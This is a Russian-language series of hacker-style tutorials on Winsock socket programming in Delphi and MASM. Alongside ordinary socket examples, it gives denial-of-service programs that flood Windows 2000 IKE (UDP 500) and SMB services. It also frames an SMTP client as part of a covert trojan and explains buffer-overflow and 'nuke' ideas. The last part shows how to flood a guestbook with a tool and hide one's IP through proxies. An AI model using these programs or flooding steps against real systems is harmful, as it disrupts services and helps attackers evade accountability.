 int WSAAsyncSelect (SOCKET s, HWND hWnd, unsigned int wMsg, long lEvent);
 

связывает сокет с получением сообщений окна. Обычно используется для сервера. При вызове этой функции, сообщения о соединении, чтении/записи данных в сокет и закрытии сокета можно обрабатывать в функции обработки сообщений от окна.


 int select (int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout);
 

контроль состояния сокета. Используется для неблокирующих вызовов, чтобы получить состояние сокета на данный момент, с использованием макросов FD_.


 int WSAEventSelect (SOCKET s, WSAEVENT hEventObject, long lNetworkEvents);
 

связывает сокет с получением сообщений операционной системы. Можно проинициализировать необходимый Event (см. документацию) и обрабатывать сообщения FD_ без использования окна m$ windows.


 int send (SOCKET s, const char FAR * buf, int len, int flags);
 

отправка данных. Помещает в очередь сокета s, кусок данных из buf, длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован.


 int recv (SOCKET s, char FAR* buf, int len, int flags);
 

получение данных.

Кстати, и в блокирующих и в неблокирующих сокетах, используется так или иначе функция [...]select. Только опрос о состоянии очереди сокета мы производим сами (неблокирующий режим) или это делает операционная система (блокирующий).

Преобразование адреса

Вот пример функции на Delphi, которая преобразует адрес из имени или спецификации ip4, в четырехбайтное значение, требующееся для структуры sockaddr_in, с которой работает сокет:


 uses WinSock;
 
 function d_addr(IPaddr : string) : Cardinal;
 var
   pa: PChar;
   sa: TInAddr;
   Host: PHostEnt;
 begin
   Result:=inet_addr(PChar(IPaddr));
   // Перевод если адреа не в ip4
   if Result=INADDR_NONE then
   begin
     host:=GetHostByName(PChar(IPaddr));
     if Host = nil then
       exit
     else
     begin
       // Преобразование
       pa := Host^.h_addr_list^;
       sa.S_un_b.s_b1 := pa[0];
       sa.S_un_b.s_b2 := pa[1];
       sa.S_un_b.s_b3 := pa[2];
       sa.S_un_b.s_b4 := pa[3];
       with TInAddr(sa).S_un_b do
         Result:=inet_addr(PChar(IntToStr(Ord(s_b1)) + '.' + IntToStr(Ord(s_b2)) + '.' +
         IntToStr(Ord(s_b3)) + '.' + IntToStr(Ord(s_b4))));
     end;
   end;
 end;
 

Использование блокировки в некоторых программах:

  • Сервер. Проще говоря, задача сервера открыть порт на компьютере и "висеть", принимая команды или некоторые данные от клиента по инициализированному порту. Например, FTP-сервер открывает 21 порт и обрабатывая определенные команды от клиента, выполняет необходимые операции с файловой системой. POP3-сервер открывает 110 порт и занимается приемом электронных сообщений (e-mail). SMTP (25 порт) - отправка писем. TelNet (23), SSh (22) и т.д. Обычно используются блокирующие сокеты, потому что следующие за приемом данных операторы - это обработка принятых данных. Нет смысла делать передачу на них управления, пока эти данные не приняты. Сервер может "занять" несколько портов, принимать данные от множества клиентов, но все равно из-за постоянного опроса select инициализированных сокетов и черезчур больших требований к алгоритму корректной обработки данных, это не лучшее решение для сервера. Хотя есть исключения и все зависит от приверженности программиста к тому или иному способу.
  • Клиент. Задача клиента - соедениться с сервером и посылать ему (принимать от него) данные. Естественно, если клиент пытается соедениться по порту, на котором по указанному адресу не "висит" сервер, то будет ошибка соединения. Если сервер проинициализирован на другой протокол (UDP, ICMP, TCP,...) или вид обмена данными, а клиент на другой, то соединение скорее всего произойдет, но обмен данными станет невозможен. В случае, если клиент работает с сокетным движком (несколько сокетов), то я обычно использую блокирующие сокеты, работающие каждый на своей нити (Threads) или процессе (Process) с минимальным приоритетом. Таким образом достигается необходимая многозадачность, параллельность работы и, в то же время, удобно обрабатывать принятые/отправленные данные в несинхронном режиме работы. Таким образом достигается упрощение алгоритма и минимальное количество выполняемых операций из-за того, что нет необходимости постоянно вызывать select.
  • Различные сканеры, брутфорсеры. Задача - создать максимальное количество сокетов, поддерживаемое операционной системой для достижения максимальной скорости сканирования или перебора. Здесь надо очень хорошо продумывать сокетный движок. Предыдущий способ создания клиента хорош для относительно небольшого количества одновременно проинициализированных сокетов. Иначе, из-за очень большого количества однновременно запущенных процессов, повышается нагрузка на ядро системы. Здесь все зависит от скорости соединения и компьютерного "железа". Можно использовать как блокирующие, так и неблокирующие сокеты. При современном развитии компьютерного "железа" и относительно небольшой скорости соединения (DialUp, выделенка с низкой скоростью), я бы порекомендовал использовать способ, рассмотренный выше. Количество нитей 255 вполне "потянет" практически любой компьютер, а большее количество из-за скорости соединения использовать нет смысла. При очень хорошем канале (можно создать практически неограниченное количество сокетов) или не очень хорошем компьютере (всего один процесс обработки), надо все-таки использовать неблокирующие сокеты. Несмотря на эти преимущества, кроме рассмотренных недостатков синхронных сокетов, будет рассмотрено еще несколько в примерах, во второй статье.

Создание отдельной нити, процесса (Threads)

Для создания отдельного процесса обработки сокета при использовании сокетного движка (несколько сокетов, которые должны работать параллельно), необходимо этот процесс описать. Вот небольшой пример описания, создания и завершение процесса на Delphi:


 uses WinSock;
 
 //Описываем процесс как класс, типа TThread
 type
   TScaner = class(TThread)
     Sock : TSocket;
   private
   protected
     procedure Execute; override;
     procedure Run;
 end;
 
 //забиваем место в памяти под процесс
 var
   Scaner : TScaner;
 
 //фунцция, вызываемая при создании процесса
 procedure TScaner.Execute;
 var
   <переменные>
 begin
   <инициализация сокета и операции с ним>
   //запуск дополнительной фунцции процесса
   Synchronize(Run);
   //закрытие сокета
   closesocket(Sock)
   //Прервать процесс
   Terminate;
 end;
 
 //дополнительная фунцция
 procedure TScaner.Run;
 var
   <переменные>
 begin
   <какие либо действия>
 end;
 
 //программа
 begin
   <какие-либо действия>
   //создать процесс, но пока не запускать
   Scaner:=TScaner.Create(true);
   //Освободить память при прерывании процесса
   Scaner.FreeOnTerminate:=true;
   //установить приоритет
   Scaner.Priority:=tpLowest;
   //запустить процесс
   Scaner.Resume;
   <какие-либо действия>
 end.
 

Этот прием очень удобен, например, для вызова обработки сокета и прерывания по какой-либо клавише. На клавишу "Start" цепляем создание процесса, а на клавишу "Stop" - Scaner.Terminate. Можно также описать процедуру Terminate процесса, где будет closesocket. Этот процесс будет работать независимо от основной программы. Правда для синхронизации его с VCL главного окна, его необходимо немного дописать. Этот прием одинаково удобен и для неблокирующего (создается процесс, в котором уже идет цикл по select по множеству сокетов) и для блокирующего сокета (создается много процессов и для каждого свой сокет) при написании различных клиентов и сканеров. В частности, он использовался мной для написания моей многонитевой программы "DScan", которая включает универсальный клиент, сканер, брутфорсер и предоставленна со всеми исходниками.

Для получения первичных сведений, поданной информации вполне достаточно. Во второй части будут приводится примеры простейших программ с использованием сокета и с подробными комментариями.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Сокеты 2 (Кодинг блокирующих сокетов)

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Если каждый китаец напишет по строчке кода - они ж задавят Билла Гейтса насметрь.

Простейший клиент

Рассмотрим пример простейшего SMTP-клиента, отсылающего в скрытом режиме некоторую информацию на указанный e-mail. Пример возьмем из моей статьи Troyan #1. Используется блокирующий сокет. Рассмотрим более подробно немного измененный кусок на Delphi, отвечающий за инициализацию и соединение с SMTP-сервером:


 // Адрес в нормальном виде SMTP-сервера
 MySmtp:='freemail.ukr.net';
 // Инициализируем сокетную DLL
 WSAStartUp(257, wsadata);
 // Инициализируем сокет для соединения с SMTP-сервером
 // Протокол - TCP/IP, получение данных - SOCK_STREAM 
 sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
 sin.sin_family := AF_INET;
 // Порт SMTP-сервера - 25 
 sin.sin_port := htons(25);
 // Преобразуем адрес в четырехбайтное число с помощью функции,
 // рассмотреной в первой статье
 sin.sin_addr.S_addr:=d_addr(MySmtp);
 // Соединение с сервером (адрес и порт указаны в структуре sin,
 // sock - сокет для работы с указанным сервером по протоколу TCP/IP 
 connect(sock,sin,sizeof(sin));
 

Отправка данных

Как уже говорилось в первой статье, send - это неблокирующая операция. Здесь есть небольшие грабли. Если нам необходимо отправить кусок данных ОПРЕДЕЛЕННОГО размера, то send может мгновенно положить в очередь кусок данных (сколько сможет), а остальное из-за неблокирующего режима просто не успеть отправить, перейдя на выполнение следующего кода. Т.к. эта функция возвращает количество отправленных байт, то можно написать функцию доотправки данных. Вот исходники на Delphi:


 // DTrSend. первый параметр - буфер для отправки, второй параметр - длинна,
 // третий параметр - сокет.
 function DTrsend(Buf : string; LenStr : Cardinal; DTrsock : TSocket) : Cardinal;
 var
   DopI, DopI1, DopI2, DopI3 : Integer;
 begin
   Screen.Cursor:=crHourGlass;
   Result:=send(DTrsock,Buf,0,0);
   // Проверка соединения - отправка 0
   if Result=SOCKET_ERROR then
   begin
     Screen.Cursor:=crDefault;
     Application.MessageBox(PChar('Error send data. Server was disconnected,
     closed or not available.'), 'Error', mb_Ok + mb_TaskModal + mb_IconStop);
     closesocket(DTrsock);
     Result:=0;
     exit;
   end;
   // обнудение тайм-аута
   DopI:=0;
   // сколько отправлено
   DopI2:=0;
   // сколько нужно отправить
   DopI3:=LenStr;
   // цикл отправки
   while true do
   begin
     // отправка данных с нужной позиции нужного кол-ва
     DopI1:=send(DTrsock,Buf[DopI2+1],DopI3,0);
     // подсчет отправленного
     DopI2:=DopI2+DopI1;
     // подсчет сколько нужно отправить
     DopI3:=DopI3-DopI1;
     // если все отправили или тайм-аут - выход
     if (DopI2>=LenStr)or(DopI>666) then
       break;
     inc(DopI);
     sleep(100);
   end;
   Result:=DopI2;
   if Resultthen
     Screen.Cursor:=crDefault;
 end;
 

А вот исходники на MASM:


 ; MySend. первый параметр - буфер для отправки, 
 ; второй параметр - длинна, третий параметр - сокет. 
 MySend PROC StrSend : DWORD, LenStr : DWORD, clnt : DWORD
 ; edi указывает на буфер для отправки
 mov edi, StrSend
 ; ebx - сколько нужно отправить
 mov ebx, LenStr
 ; dll2 - сколько отправленно
 mov dll2, 0
 ; dll0 - тайм-аут
 mov dll0, 0
 ; Цикл отправки
 .WHILE TRUE
 ; Отправка данных
 invoke send, clnt, edi, ebx, 0
 ; Добавление в dll0 количества отправленных данных
 add dll0, eax
 ; Если отправленно необходимое число - выход из цикла
 mov eax, LenStr
 .BREAK .IF ( dll0 >= eax )
 ; Если тайм-аут - выход из цикла
 inc dll2
 .BREAK .IF ( dll2 >= 666 )
 ; переставить указатель на позицию данных в буфере, которые еще не отправленны
 add edi, dll0
 ; пересчитать кол-во отправляемых данных
 sub ebx, dll0
 .ENDW
 invoke Sleep,10
 ret
 MySend ENDP
 

Также пишется и функции отправки данных. Только вместо send - recv. Только recv может работать на синхронном или асинхронном сокете или на сервере. Для клиента на блоктрующем сокете - все один к одному. Для неблокирующего сокета и сервера на блокирующем - см. ниже.

Клиент на асинхронном сокетном движке

Рассмотрим другую мою статью Взлом e-mail #1. Для создания сокетного движка использовались блокирующие сокеты и определенное количество отдельно работающих процессов. Каждый процесс содержал сокет. Еще один пример сокетного движка в асинхронном режиме можно посмотреть в моей программе "DScan v.1.2". Побольшому счету, эти два примера отличаются только созданием процессов работы с сокетами. Такой сокетный движок имеет свои преимущества по сравнению с неблокирующим режимом и свои недостатки. Преимущества в том, что оператор select вызывается в блокирующем режиме самой системой и нет постоянного цикла опроса, загружающего процессор. Плюс то, что все процессы работают отдельно и при возникновении какой-либо ошибки, процесс, в котором произошла ошибка, просто останавливается с последующим освобождением занятой им памяти. Остальные при этом продолжают работать. Как уже говорилось в первой статье, этот способ (по моему мнению) идеально подходит для DiulUp и не очень широкого канала при выделенке. Для очень хорошего канала и с очень большим количеством процессов, такой сокетный движок будет очень загружать ядро системы. Особенно это неприемлимо для win-9x/me, где отвратительно сделана многозадачность, распределение памяти, синхронизация и "синий экран" при многопоточных приложениях - обычное дело.

Простейший сервер

Рассмотрим пример простейшего сервера на MASM (почему на MASM - смотри мои статьи по BackDoor). Используется блокирующий сокет, с реакцией на соединение, получение данных от клиента и разрыв связи. Реакция на эти действия производится в функции обработки оконных сообщений, которую мы связываем с сокетом функцией WSAAsyncSelect (см. первую статью). Этот наш сервер будет реагировать на соединение и получение данных от клиента тем, что будет отвечать строкой 'hello'. Вот исходники на MASM:


 .386
 .model flat,stdcall
 option casemap:none
 
 ; Подгружаемые модули
 ; ВНИМАНИЕ!!! необходимо правильно прописать пути к файлам *.lib и *.inc
 include \masm32\include\windows.inc
 include \masm32\include\wsock32.inc
 include \masm32\include\user32.inc
 include \masm32\include\kernel32.inc
 includelib \masm32\lib\user32.lib
 includelib \masm32\lib\kernel32.lib
 includelib \masm32\lib\wsock32.lib
 
 ; ФУНКЦИЯ создания окна
 WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
 
 ; КОНСТАНТЫ
 .DATA
 Hello db "Hello",0
 ClassName db "DTR13Class",0
 AppName db "DTR13",0
 IconName db "TDIcon",0
 wsadata WSADATA <>
 sin sockaddr_in <>
 WM_SOCKET equ WM_USER + 100
 
 ; ПЕРЕМЕННЫЕ
 .DATA?
 hInstance dd ?
 CommandLine dd ?
 sock dd ?
 client dd ?
 BufStr db 6666 dup (?) ; Буфер приема
 Port dd ? ; Порт
 
 ; Раздел кода
 .CODE
 start:
 invoke GetModuleHandle, NULL
 mov hInstance,eax
 invoke GetCommandLine
 mov CommandLine,eax
 invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
 invoke ExitProcess,eax
 
 ;---------------------------------------
 WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
 LOCAL wc:WNDCLASSEX
 LOCAL msg:MSG
 LOCAL hwnd:HWND
 ; Создадим окно для обработки сообщений
 mov wc.cbSize,SIZEOF WNDCLASSEX
 mov wc.style, CS_HREDRAW or CS_VREDRAW
 mov wc.lpfnWndProc, OFFSET WndProc
 mov wc.cbClsExtra,NULL
 mov wc.cbWndExtra,NULL
 push hInstance
 pop wc.hInstance
 mov wc.hbrBackground,COLOR_WINDOW
 mov wc.lpszMenuName,NULL
 mov wc.lpszClassName,OFFSET ClassName
 invoke LoadIcon,hInstance,addr IconName
 mov wc.hIcon,eax
 mov wc.hIconSm,eax
 invoke LoadCursor,NULL,IDC_ARROW
 mov wc.hCursor,eax
 invoke RegisterClassEx, addr wc
 ; Создать маленькое окно
 invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
 mov hwnd,eax
 ; Показать окно
 invoke ShowWindow, hwnd,SW_SHOWNORMAL
 invoke UpdateWindow, hwnd
 ; Инициализация сокетных функций
 invoke WSAStartup,101h,addr wsadata
 invoke socket,AF_INET,SOCK_STREAM,0
 mov sock,eax
 ; реакция на соединенрие, получение данных и закрытие сокета
 invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ+FD_CLOSE
 mov sin.sin_family,AF_INET
 ;порт = 10001
 mov Port,10001
 invoke htons,Port
 mov sin.sin_port,ax
 ; Адрес - любой для сервера
 mov sin.sin_addr,INADDR_ANY
 ; Связь адресов и порта с сервером
 invoke bind, sock,addr sin,sizeof sin
 invoke listen,sock,SOMAXCONN
 
 ; Цикл обработки сообщений от m$ windows
 .WHILE TRUE
 invoke GetMessage, ADDR msg,NULL,0,0
 .BREAK .IF (!eax)
 invoke TranslateMessage, ADDR msg
 invoke DispatchMessage, ADDR msg
 .ENDW
 mov eax,msg.wParam
 ret
 WinMain endp
 
 ;---------------------------------------
 ; Функция обработки сообщений окну
 WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 ; Реакция на создание окна
 .IF uMsg == WM_CREATE
 
 ; Реакция на закрытие проги
 .ELSEIF uMsg == WM_DESTROY
 invoke WSACleanup
 invoke PostQuitMessage,NULL
 
 
 ; Реакция на сообщение от сокета 
 .ELSEIF uMsg == WM_SOCKET
 mov eax,lParam
 
 ; Соединение
 .IF ax == FD_ACCEPT
 shr ax,16
 .IF ax == NULL
 ; При соединении инициализируем сокет и отправим клиенту строку
 invoke accept,sock,0,0
 mov client,eax
 invoke send,client,addr Hello,sizeof Hello,0
 invoke Sleep,10
 .ENDIF
 
 ; Реакция на получение данных от клиента
 .ELSEIF ax == FD_READ
 ; Обнулим буфер для получения
 mov ecx,6666
 mov edi,offset BufStr
 lll: mov byte ptr [edi],0
 inc edi
 loop lll
 mov eax,wParam
 mov client,eax
 ; Получим данные в BufStr
 invoke recv,client,addr BufStr,sizeof BufStr,0
 ; При ошибке - получим еще раз
 .IF eax == SOCKET_ERROR
 invoke recv,client,addr BufStr,sizeof BufStr,0
 .ENDIF
 ; Отправим клиенту строку
 invoke send,client,addr Hello, sizeof Hello, 0
 invoke Sleep,10
 
 ; Реакция на разрыв соединения
 .ELSEIF ax == FD_CLOSE
 mov eax,wParam
 ; Закроем сокет
 invoke closesocket, eax
 .ENDIF
 .ELSEIF
 invoke DefWindowProc,hWnd,uMsg,wParam,lParam
 ret
 .ENDIF
 xor eax,eax
 ret
 WndProc endp
 END start
 

Компилим, запускаем. Должно появиться маленькое окно. Теперь можно написать клиент или просто соединиться TelNet-ом на 10001 порт. Сервер при соединении и посылке ему любых данных, будет слать обратно строку "Hello". Можно этот код переписать на Delphi или C - все используемые функции из ядра виндов. Отличается только синтаксис. Также следует отметить, что принцип действия всех серверов и в никсах и в виндах примерно одинаков. Поняв принцип работы одного - примерно понимаешь принцип работы всех.

"Грабли" сервера

Мы примерно поняли принцип работы серверов. Теперь рассмотрим наиболее распространенные ошибки при написании этих самых серверов. Серверу надо принять столько данных, сколько мы ему послали. Так как принимает сервер их частями и в функции реакции на прием данных в рассмотренном выше примере их нельзя как-то докачать (после срабатывания FD_READ, recv для докачки не может получить из стека остальные данные потому, что еще не была вызвана функция получения сообщения от винды и доступ к очереди сокета закрыт). Значит необходимо хранить где-то все сокетные соединения и часть уже пришедших на них данных и при срабатывании FD_READ, накапливать эти данные. При достижении необходимого размера или комбинации символов, соответствующих сигналу конца пакета, соответственно реагировать. Структура сервера при этом усложнится. Необходимо выбрать для себя режим работы с пакетами - по размеру или по определенной комбинации символов - признак окончания пакета. Теперь о самом главном. В виндоуз есть несколько очень уникальных WinAPI функций, которые допускают DoS. Это функции lstr..., printf и прочие. Для сервера, нас интересуют именно функции для работы со строками с нулевым символом на конце (lstr...). Например, буфер накопления данных от клиента имеет определенный размер. И сервер понимает окончание пакета, как получение от клиента куска данных этого размера. Пока не накопит - не реагирует. Можно подобрать размер отправляемых данных таким образом, что накапливаемые данные превысят размер буфера, попадут в область кода или в область других данных и произойдет выполнение определенных команд или отказ работы всего сервера. Если в конце принимаемого пакета обязательно должна стоять определенная комбинация символов, то посылая большие куски данных, не содержащие эти символы, мы также можем сделать переполнение буфера. Также можно поиздеваться над сервером, посылая данные с разными флагами (например, MSG_OOB - самый простой Nuke на 139 порт), попробовать инициализировать соединение как UDP, ICMP и т.д. и т.п. Есть целый ряд уязвимостей различных сервисов, основанных на этом принципе. В основном, это способы удаленного отказа работы сервера. Найти уязвимость, заставляющую сервер исполнять определенный кусок данных, переполнив буфер - это высший пилотаж. В следующей статье будут рассмотрены несколько самых простых примеров удаленного отказа в обслуживании.

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к зависанию всей системы в целом.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Сокеты 3 (Кодинг неблокирующих сокетов)

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:


 program IKE_attack;
 
 uses
   WinSock;
 
 const MyComp = 'ADDRESS';
 
 var
   wsadata : TWSAData;
   sin: TSockAddrIn;
   sock: TSocket;
   I : Cardinal;
   Buf : string;
 begin
   WSAStartUp(257, wsadata);
   // Инициализируем сокет для соединения с удаленным компьютером по UDP
   // Протокол - UDP, отправка данных - SOCK_DGRAM
   sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
   sin.sin_family := AF_INET;
   // Порт - 500
   sin.sin_port := htons(500);
   // Преобразуем адрес в четырехбайтное число с помощью функции,
   // рассмотреной в первой статье
   sin.sin_addr.S_addr:=d_addr(MyComp);
 
   // Соединение
   I:=connect(sock,sin,sizeof(sin));
   // если нельзя соединиться - выход
   if I<=0 then
     halt(1);
 
   // Формирование мусора для отсылки
   Buf:='';
   for I:=1 to 1024 do
     Buf:=Buf+chr(30+round(60));
 
   // Посылка мусора с помощью функции,
   рассмотренной во второй статье
   while true do
     DTrsend(Buf,1024,sock);
 end.
 

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:


 program port445TCP;
 
 uses
   WinSock;
 
 const
   maxproccess=250; // Количество процессов
   // Флаги
   CLOSE_SOCK=0;
   CONNECTING_SOCK=1;//
   CONNECTED_SOCK=2; //
   // Таймаут
   TIME_OUT=10;
 
 var
   // Массив сокетов
   sock : array [1..maxproccess] of TSocket;
   // Массив флагов
   stat : array [1..maxproccess] of Byte;
   time : array [1..maxproccess] of Byte;
   wsa:WSAData;
   addr : Tsockaddr;
   x : integer;
   // Сигнал блокировки сокета
   on_sock : LongInt = 1;
   off_sock : LongInt = 0;
   wfds_empty : Boolean;
   wfds : Tfdset;
   tv : Ttimeval;
   buf : array[1..8500] of char;
 
 begin
   // Обнулим буфер отправки
   FillChar(Buf,8500,0);
 
   WSAStartup($101,wsa);
   // Начальная установка флагов
   for x:=1 to maxproccess do
     stat[x]:=CLOSE_SOCK;
   >repeat // бесконечный цикл
 
     // Инициализация сокетов
     for x:=1 to maxproccess do
     begin
       // Если сокет свободен
       if stat[x]=CLOSE_SOCK then
       begin
         sock[x]:=socket(AF_INET,SOCK_STREAM,0);
         time[x]:=TIME_OUT;
         // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
         ioctlsocket(sock[x],FIONBIO,on_sock);
         addr.sin_family:=AF_INET;
         // Порт
         addr.sin_port:=htons(455);
         // Здесь необходимо указать адрес и используется функция
         // преобразования адреса из первой статьи
         addr.sin_addr.s_addr:=d_addr('ADDRESS');
         // Неблокирующее соединение
         connect(sock[x],addr,sizeof(addr));
         stat[x]:=CONNECTING_SOCK;
       end;
     end;
 
     // Использование макросов FD_ для установок и проверки
     // нужно ли делать select
     FD_ZERO(wfds);
     wfds_empty:=true;
     for x:=1 to maxproccess do
     begin
       if stat[x]=CONNECTING_SOCK then
       begin
         FD_SET(sock[x],wfds);
         wfds_empty:=false;
       end;
     end;
 
     // select-ируем сокеты с флагом "сокет соединяется",
     // с установкой таймаута и проверкой на
     // возможность отсылки данных
     if not wfds_empty then
     begin
       tv.tv_sec:=1;
       tv.tv_usec:=0;
       select(0,nil,@wfds,nil,@tv);
     end;
 
     // Проверка тайм-аута
     for x:=1 to maxproccess do
     begin
       if stat[x]<>CLOSE_SOCK then
       begin
         dec(time[x]);
         // Если время на соединение истекло -
         // закрываем сокет с установкой флага
         if time[x]=0 then
         begin
           stat[x]:=CLOSE_SOCK;
           // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
           // перед закрытием
           ioctlsocket(sock[x],FIONBIO,off_sock);
           closesocket(sock[x]);
         end;
       end;
 
       // Проверка на соединение (соединились ли уже)
       if stat[x]=CONNECTING_SOCK then
       begin
         // Если соединение уже произошло и можно отправлять данные -
         // установим флаг
         if FD_ISSET(sock[x],wfds) then
           stat[x]:=CONNECTED_SOCK;
       end;
 
       // Проверка на возможность отправки
       if stat[x]=CONNECTED_SOCK then
       begin
         FD_CLR(sock[x],wfds); // обнулим буфер сокета
         send(sock[x],buf[1],8500,0);
         // Отправка данных и закрытие сокета
         stat[x]:=CLOSE_SOCK;
         // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
         // перед закрытием
         ioctlsocket(sock[x],FIONBIO,off_sock);
         closesocket(sock[x]);
       end;
     end;
   until
     false;
 end.
 

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.




Сокеты 4 (Использование DScan)

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

- Миколо, ты що свою домашню строныцю на домен "ru" засувов?
- А шо?
- Так то ж "Раша"!
- От, гады! А я думав, Ридно Украина!

В этой статье я расскажу примеры использования моей программы "DScan". Вместе с исходниками и предыдущими статьями так будет легче понять принцип работы сокетного движка. Первые статьи и исходники можно взять на http://www.danil.dp.ua

Сканер по диапазону

Сканер по диапазону портов или адресов предназначен для определения открытых портов на удаленном компьютере или открытого определенного порта по диапазону адресов. Таким образом можно просканировать весь диапазон адресов провайдера на 139 открытый порт. Или 10001 (DTr). Или по порту BO, LamerDeath и т.п. Для этого необходимо указать диапазон адресов в спецификации ip4 (xxx.xxx.xxx.xxx) и порт. Сканирование осуществляется в многопоточном режиме по изменению последнего значения. Количество потоков можно задать и оно зависит от скорости соединения. В версии 1.3 сканирование реализовано через неблокирующие сокеты (см. предыдущие статьи). Сканирование по диапазону портов в основном предназначено для определения установленных сервисов на удаленном компьютере. Таким образом можно выяснить и операционную систему компьютера, подключен ли он еще и в локальную сеть, установлен ли Apach, E-mail-SERVER, FireWall и т.д.

Сканер по выбранным портам

То же самое, что и сканер по диапазону портов, но можно задавать значения только тех портов, по которым необходимо просканировать удаленный компьютер. В версии 1.3 добавлена многопоточность сканирования и алгоритм написан на неблокирующем сокетном движке.

Универсальный TCP-клиент

После определения открытых портов на удаленном компьютере, можно с помощью универсального TCP-клиента выяснить тип установленного сервиса, протокол обмена данными, его ответ на попытку соединения, сколько байт отправляет при соединении, сколько получает и т.д. Может работать как TelNet-клиент, e-mail-клиент, броузер, клиент различных BackDoor, Whois-клиент и т.п. В общем - универсальный клиент. Также есть опции отправки/приема данных в виде Out-of-Band. Можно указать разное окончание отправляемого пакета и сгенерировать данные случайным образом. Область применения очень обширна.

Флудер

Два примера использования можно взять в третьей статье по этой теме. Также он может использоваться для флуда чата, гостевой и т.п. Принцип работы - посылка на указанный адрес и открытый порт указанного кол-ва сформированных пакетов. Пакеты можно формировать случайным образом, заполнять нулями, #1, #13, #10, буквой A, #10#13, /n,
или пробелами. Справа и слева сформированных данных можно ввести обязательные для этого пакета данные (для чатов, гостевых и т.д.). Вот пример. Возьму мою гостевую книгу на http://www.danil.dp.ua. После некоторых исследований port-mapper-ом, можно получить, что url для добавления -

 GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F&city=CITY&country=COUNTRY&comments=COMMENTS&action=add.
 

Теперь можно сформировать соответствующий запрос в разделе "Send": в первое поле ввода введем

 GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F& city=CITY&country=COUNTRY&comments=
 

, во втором - random, в третьем - "&action=add". Теперь флудер будет посылать сформированное случайным образом поле "Комментарии". Окончание - #10. Осталось поставить кол-во Thread - 250 и Count of send - 1. Запустить. Теперь прога просто зафлудит гостевую. Моя гостевая приведена для примера и на ней лучше этого не делать. Там куча проверок, режим премодерирования (удалить весь флуд у меня займет пару минут). Обычно есть определение IP-адреса. Поэтому лучше работать через прокси (см. ниже) или с карточки на пару часов инета.

Брутфорс

